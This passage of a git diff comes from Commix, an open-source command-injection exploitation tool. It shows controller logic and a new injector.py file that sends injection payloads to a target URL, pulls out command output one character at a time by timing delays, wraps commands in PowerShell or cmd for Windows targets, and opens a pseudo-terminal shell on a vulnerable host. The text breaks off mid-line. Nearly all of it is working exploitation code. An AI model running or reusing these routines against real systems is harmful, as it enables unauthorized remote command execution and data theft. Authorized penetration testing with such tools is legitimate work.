checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except: + percent = ((num_of_chars * 100) / total) + float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) + if str(float_percent) == "100.0": + if no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + checks.injection_process(injection_type, technique, percent) + else: + percent = "" + else: + percent = ".. (" + str(float_percent) + "%)" + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Print logs notification message + logs.logs_notification(filename) + #raise + else: + percent = ".. (" + str(float_percent) + "%)" + break + + # Yaw, got shellz! + # Do some magic tricks! + if checks.time_relative_shell(url_time_response, exec_time, timesec): + if (len(TAG) == output_length) and \ + (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): + found = True + no_result = False + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + # Export session + if not settings.LOAD_SESSION: + shell = "" + session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=menu.options.level) + else: + whitespace = settings.WHITESPACES[0] + settings.LOAD_SESSION = False + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + OUTPUT_TEXTFILE = "" + # Check for any enumeration options. + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check for any system file access options. + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check if defined single cmd. + if menu.options.os_cmd: + cmd = menu.options.os_cmd + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Export injection result + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) + +""" +The main results based exploitation proccess. +""" +def do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique): + + shell = False + counter = 1 + vp_flag = True + exit_loops = False + no_result = True + is_encoded = False + stop_injection = False + call_tmp_based = False + next_attack_vector = False + export_injection_info = False + timesec = checks.time_relative_timesec(timesec) + checks.testing_technique_title(injection_type, technique) + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + from src.core.injections.results_based.techniques.classic import cb_injector as injector + from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + + # Calculate all possible combinations + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + for item in range(0, len(settings.EXECUTION_FUNCTIONS)): + settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" + settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS + prefixes = settings.EVAL_PREFIXES + suffixes = settings.EVAL_SUFFIXES + separators = settings.EVAL_SEPARATORS + else: + prefixes = settings.PREFIXES + suffixes = settings.SUFFIXES + separators = settings.SEPARATORS + + if not settings.LOAD_SESSION: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + url_time_response = 0 + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + + i = 0 + total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in settings.WHITESPACES: + for prefix in prefixes: + for suffix in suffixes: + for separator in separators: + if whitespace == settings.SINGLE_WHITESPACE: + whitespace = _urllib.parse.quote(whitespace) + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available. + if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + try: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + settings.FILE_BASED_STATE = True + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) + checks.check_for_stored_tamper(payload) + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + if re.findall(settings.DIRECTORY_REGEX,payload): + filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] + settings.WEB_ROOT = os.path.dirname(filepath) + settings.CUSTOM_WEB_ROOT = True + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + session_handler.notification(url, technique, injection_type) + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + settings.CLASSIC_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + settings.EVAL_BASED_STATE = True + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) + checks.check_for_stored_tamper(payload) + except TypeError: + checks.error_loading_session_file() + + if settings.RESET_TESTS: + reset_tests(url, timesec, filename, http_request_method, injection_type, technique) + + if not settings.LOAD_SESSION: + i = i + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # The output file for file-based injection technique. + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + else: + randv1 = random.randrange(100) + randv2 = random.randrange(100) + randvcalc = randv1 + randv2 + + # Define alter shell + alter_shell = menu.options.alter_shell + try: + # File-based decision payload (check if host is vulnerable). + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) + else: + payload = payloads.decision_alter_shell(separator, TAG, randv1, randv2) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE) + else: + # Classic decision payload (check if host is vulnerable). + payload = payloads.decision(separator, TAG, randv1, randv2) + + vuln_parameter = "" + response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + # Try target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate test results. + time.sleep(timesec) + shell = injector.injection_test_results(response, TAG, randvcalc, technique) + if settings.VERBOSITY_LEVEL == 0: + percent, float_percent = checks.percentage_calculation(i, total) + percent = checks.print_percentage(float_percent, no_result, shell) + checks.injection_process(injection_type, technique, percent) + else: + try: + time.sleep(timesec) + output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool: + html_data = "" + else: + html_data = checks.page_encoding(response, action="decode") + shell = re.findall(r"" + TAG + "", str(html_data)) + if len(shell) == 0 : + raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) + else: + if shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: + percent = settings.info_msg + checks.injection_process(injection_type, technique, percent) + + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + percent, float_percent = checks.percentage_calculation(i, total) + if call_tmp_based == True: + exit_loops = True + tmp_path = os.path.split(menu.options.file_dest)[0] + "/" + tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + raise + # Show an error message, after N failed tries. + # Use the "/tmp/" directory for tempfile-based technique. + elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): + if i == total: + if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + continue + else: + raise + checks.use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + continue + else: + raise + + elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: + err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + elif str(e.getcode()) == settings.FORBIDDEN_ERROR: + err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # Delete previous shell (text) files (output) + if 'vuln_parameter' in locals(): + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + + except _urllib.error.URLError as e: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + warn_msg = "It seems that you don't have permissions to " + warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + err_msg = str(e).replace(": "," (") + ")." + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Provide custom server's root directory. + if not menu.options.web_root: + checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) + continue + + except EOFError: + checks.EOFError_err_msg() + raise + + except: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + raise + else: + continue + + # Yaw, got shellz! + # Do some magic tricks! + if shell: + found = True + no_result = False + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) + # Export session + if not settings.LOAD_SESSION: + session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=menu.options.level) + else: + whitespace = settings.WHITESPACES[0] + settings.LOAD_SESSION = False + cmd = maxlen = "" + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + OUTPUT_TEXTFILE = url_time_response = "" + # Check for any enumeration options. + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check for any system file access options. + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Check if defined single cmd. + if menu.options.os_cmd: + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return + + return exit_handler(no_result) \ No newline at end of file diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py new file mode 100755 index 0000000000..5bcc49d262 --- /dev/null +++ b/src/core/injections/controller/injector.py @@ -0,0 +1,523 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +import time +import json +import string +import random +from src.utils import menu +from src.utils import settings +from src.core.requests import proxy +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.utils import common +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import html_parser as _html_parser +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +The main time-realative command injection exploitation. +""" +def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + if settings.TARGET_OS == settings.OS.WINDOWS: + previous_cmd = cmd + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" + else: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + + if menu.options.file_write or menu.options.file_upload: + minlen = 0 + else: + minlen = 1 + + found_chars = False + info_msg = "Retrieving the length of execution output" + if settings.TEMPFILE_BASED_STATE: + info_msg += " (via '" + OUTPUT_TEXTFILE +"')" + info_msg += "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for output_length in range(int(minlen), int(maxlen)): + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + injection_check = False + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + injection_check = True + + if injection_check == True: + if output_length > 1: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Retrieved the length of execution output: " + str(output_length) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: + sub_content = "Retrieved: " + str(output_length) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + found_chars = True + injection_check = False + break + + # Proceed with the next (injection) step! + if found_chars == True : + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + num_of_chars = output_length + 1 + check_start = 0 + check_end = 0 + check_start = time.time() + output = [] + percent = "0.0%" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + info_msg = "Presuming the execution output." + else: + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + if settings.VERBOSITY_LEVEL == 0 : + info_msg += ".. (" + str(percent) + ")" + else: + info_msg += "\n" + if output_length > 1: + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + + for num_of_chars in range(1, int(num_of_chars)): + char_pool = checks.generate_char_pool(num_of_chars) + for ascii_char in char_pool: + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + injection_check = False + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + injection_check = True + + if injection_check == True: + if settings.VERBOSITY_LEVEL == 0: + output.append(chr(ascii_char)) + percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) + if percent == 100: + float_percent = settings.info_msg + else: + float_percent = ".. (" + str(float_percent) + "%)" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + info_msg = "Presuming the execution output." + else: + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + info_msg += float_percent + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + else: + output.append(chr(ascii_char)) + injection_check = False + break + + check_end = time.time() + check_exec_time = int(check_end - check_start) + output = "".join(str(p) for p in output) + + # Check for empty output. + if output == (len(output) * settings.SINGLE_WHITESPACE): + output = "" + + else: + check_start = 0 + check_exec_time = 0 + output = "" + + return check_exec_time, output + +""" +The main results-based command injection exploitation. +""" +def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + + def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_payloads as payloads + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + + if alter_shell: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.cmd_execution_alter_shell(separator, TAG, cmd) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) + else: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.cmd_execution(separator, TAG, cmd) + else: + payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + if settings.VERBOSITY_LEVEL != 0: + _ = cmd + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + payload_msg = payload.replace("\n", "\\n") + if settings.COMMENT in payload_msg: + payload = payload.split(settings.COMMENT)[0].strip() + payload_msg = payload_msg.split(settings.COMMENT)[0].strip() + if settings.COMMENT in cmd: + _ = cmd.split(settings.COMMENT)[0].strip() + debug_msg = "Executing the '" + _ + "' command. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + response, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return response + + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + tries = 0 + while not response: + if tries < (menu.options.failed_tries / 2): + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + tries = tries + 1 + else: + err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + return response + + +""" +False-positive check and evaluation. +""" +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + if settings.TARGET_OS == settings.OS.WINDOWS: + previous_cmd = cmd + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" + else: + cmd = checks.quoted_cmd(cmd) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" + else: + cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" + + found_chars = False + checks.check_for_false_positive_result(false_positive_warning) + + # Varying the sleep time. + if false_positive_warning: + timesec = timesec + random.randint(3, 5) + + # Checking the output length of the used payload. + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + for output_length in range(1, 3): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + # Execute shell commands on vulnerable host. + if alter_shell : + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): + found_chars = True + break + + if found_chars == True : + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = previous_cmd + num_of_chars = output_length + 1 + check_start = 0 + check_end = 0 + check_start = time.time() + + output = [] + percent = 0 + + is_valid = False + for num_of_chars in range(1, int(num_of_chars)): + for ascii_char in range(1, 20): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): + output.append(ascii_char) + is_valid = True + break + + if is_valid: + break + + check_end = time.time() + check_exec_time = int(check_end - check_start) + output = "".join(str(p) for p in output) + + if str(output) == str(randvcalc): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + return exec_time, output + + else: + checks.unexploitable_point() + +""" +Find the URL directory. +""" +def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): + + def custom_web_root(url, OUTPUT_TEXTFILE): + path = _urllib.parse.urlparse(url).path + if path.endswith('/'): + # Contract again the url. + scheme = _urllib.parse.urlparse(url).scheme + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE + else: + try: + path_parts = [non_empty for non_empty in path.split('/') if non_empty] + count = 0 + for part in path_parts: + count = count + 1 + count = count - 1 + last_param = path_parts[count] + output = url.replace(last_param, OUTPUT_TEXTFILE) + if "?" and settings.OUTPUT_FILE_EXT in output: + try: + output = output.split("?")[0] + except: + pass + except IndexError: + output = url + "/" + OUTPUT_TEXTFILE + settings.DEFINED_WEBROOT = output + return output + + if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: + if menu.options.web_root: + scheme = _urllib.parse.urlparse(url).scheme + hostname = _urllib.parse.urlparse(url).hostname + netloc = _urllib.parse.urlparse(url).netloc + output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE + if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): + if settings.MULTI_TARGETS: + settings.RECHECK_FILE_FOR_EXTRACTION = True + while True: + message = "Do you want to use URL '" + output + message += "' for command execution output? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.DEFINED_WEBROOT = output + break + elif procced_option in settings.CHOICE_NO: + message = "Enter URL to use " + message += "for command execution output > " + message = common.read_input(message, default=output, check_batch=True) + output = settings.DEFINED_WEBROOT = message + info_msg = "Using '" + output + info_msg += "' for command execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not settings.DEFINED_WEBROOT: + pass + else: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + else: + output = custom_web_root(url, OUTPUT_TEXTFILE) + else: + output = settings.DEFINED_WEBROOT + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking if the file '" + output + "' is accessible." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + return output + +""" +Evaluate test results. +""" +def injection_test_results(response, TAG, randvcalc, technique): + if type(response) is bool and response != True or response is None: + return False + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + # Check the execution results + html_data = checks.page_encoding(response, action="decode") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + # Replace non-ASCII characters with a single space + re.sub(r"[^\x00-\x7f]",r" ", html_data) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + TAG + TAG, html_data) + else: + shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data) + if len(shell) > 1: + shell = shell[0] + else: + html_data = checks.page_encoding(response, action="decode") + html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) + if settings.SKIP_CALC: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + else: + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) + + return shell + +""" +Command execution results. +""" +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + try: + import html + unescape = html.unescape + except: # Python 2 + unescape = _html_parser.HTMLParser().unescape + false_result = False + try: + # Grab execution results + html_data = checks.page_encoding(response, action="decode") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + # Replace non-ASCII characters with a single space + re.sub(r"[^\x00-\x7f]",r" ", html_data) + for end_line in settings.END_LINES_LIST: + if end_line in html_data: + html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) + break + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) + if not shell: + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) + if not shell: + return shell + try: + if TAG in shell: + shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) + # Clear junks + shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] + shell = [backslash.replace(r"\/","/") for backslash in shell] + except UnicodeDecodeError: + pass + if settings.TARGET_OS == settings.OS.WINDOWS: + if menu.options.alter_shell: + shell = [right_space.rstrip() for right_space in shell] + shell = [left_space.lstrip() for left_space in shell] + if "<<<<" in shell[0]: + false_result = True + else: + if shell[0] == "%i" : + false_result = True + except AttributeError: + false_result = True + if false_result: + shell = "" + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + # Grab execution results + html_data = checks.page_encoding(response, action="decode") + html_data = re.sub("\n", new_line, html_data) + shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) + try: + if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: + shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ + re.split(TAG + 